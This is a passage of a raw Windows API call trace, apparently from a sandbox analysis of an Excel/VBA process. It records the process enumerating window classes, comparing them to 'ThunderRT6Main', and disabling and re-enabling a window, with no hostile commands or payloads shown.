lpString2="ThunderRT6Main") returned 1 [0097.885] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.886] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0097.886] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.886] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.886] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0097.886] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.886] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.886] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0097.886] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0097.886] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0097.886] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0097.886] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.886] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0097.886] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0097.886] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0097.886] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0097.886] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0097.886] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.886] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.886] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0097.886] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.886] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.886] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0097.886] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.886] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.886] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0097.886] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.886] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.886] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.887] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0097.887] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.887] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.887] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0097.887] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.887] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.887] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0097.887] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.887] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.887] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0097.887] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0097.887] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.887] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0097.887] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.887] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.887] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0097.887] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0097.887] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.887] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0097.887] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0097.887] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.887] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0097.887] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.887] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0097.887] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0097.887] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.887] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.887] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.888] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0097.888] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0097.888] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0097.888] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.888] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0097.888] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0097.888] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0097.888] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.888] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0097.888] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0097.888] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0097.888] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0097.888] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.888] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.888] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.888] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0097.888] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0097.888] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0097.888] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0097.888] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0097.888] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0097.888] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.888] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0097.888] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0097.888] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0097.888] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0097.888] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0097.888] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0097.888] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.888] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0097.888] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0097.888] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0097.888] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0097.888] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0097.888] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0097.888] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.888] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0097.888] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0097.888] IsWindowEnabled (hWnd=0x20360) returned 1 [0097.888] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0097.889] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0097.889] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0097.889] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0097.889] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0097.889] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0097.889] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.889] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0097.889] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0097.889] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0097.889] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0097.889] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0097.889] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0097.889] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0097.889] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0097.889] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.889] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0097.889] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0097.889] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0097.889] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0097.889] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0097.889] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0097.889] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.889] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0097.889] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0097.889] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0097.889] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0097.889] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0097.889] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0097.889] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.889] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0097.889] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0097.889] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0097.889] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0097.889] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0097.889] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0097.889] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.889] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0097.889] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0097.890] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0097.890] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0097.890] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0097.890] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0097.890] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0097.890] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0097.890] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0097.890] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0097.890] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.890] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0097.890] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0097.890] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0097.890] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0097.890] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0097.890] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0097.890] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.890] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.890] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.890] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0097.891] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0097.891] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0097.891] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9ff10 [0097.891] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9ff10) [0100.862] GetAsyncKeyState (vKey=27) returned 0 [0100.862] GetCurrentThreadId () returned 0xbdc [0100.862] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0100.862] GetDesktopWindow () returned 0x10010 [0100.862] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0100.862] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0100.862] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0100.862] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0100.862] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0100.862] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0100.862] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0100.862] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0100.863] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0100.863] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0100.863] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0100.863] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0100.863] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0100.863] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0100.863] IsWindowEnabled (hWnd=0x20360) returned 0 [0100.863] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0100.863] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0100.863] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0100.863] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0100.863] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0100.863] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0100.863] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0100.863] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0100.863] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0100.863] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0100.863] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0100.863] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0100.863] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0100.863] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0100.863] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0100.863] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0100.863] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0100.864] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0100.864] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0100.864] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0100.864] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0100.864] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a10a0 [0100.864] IMalloc:Free (This=0x7fefecb5380, pv=0x76a10a0) [0100.977] GetCurrentThreadId () returned 0xbdc [0100.977] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0100.977] GetDesktopWindow () returned 0x10010 [0100.977] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0100.977] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0100.977] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0100.977] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0100.977] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0100.977] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0100.977] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0100.977] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0100.978] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0100.978] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0100.978] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0100.978] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0100.978] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0100.978] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0100.978] IsWindowEnabled (hWnd=0x20360) returned 1 [0100.978] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0100.978] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0100.978] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0100.978] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0100.978] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0100.978] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0100.978] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0100.978] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0100.978] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0100.978] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0100.978] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0100.978] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0100.978] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0100.979] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0100.979] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0100.979] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0100.979] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0100.979] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0100.979] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0100.979] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0100.979] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0100.979] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0100.979] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0100.979] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0100.979] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0100.979] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0100.979] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0100.979] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0100.979] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0100.979] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0100.979] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0100.979] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0100.979] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0100.980] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0100.980] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0100.980] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0100.980] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0100.980] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0100.980] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0100.980] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0100.980] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0100.980] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0100.980] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0100.980] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0100.980] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0100.980] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0100.980] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0100.980] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0100.980] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0100.981] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0100.981] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0100.981] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0100.981] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0100.981] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0100.981] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0100.981] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0100.981] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0100.981] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0100.981] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0100.981] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0100.981] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0100.981] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0100.981] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0100.981] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0100.982] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0100.982] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0100.982] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0100.982] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0100.982] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0100.982] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0100.982] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0100.982] GetWindow (hWnd=0x10226, uCmd=0x2) returned 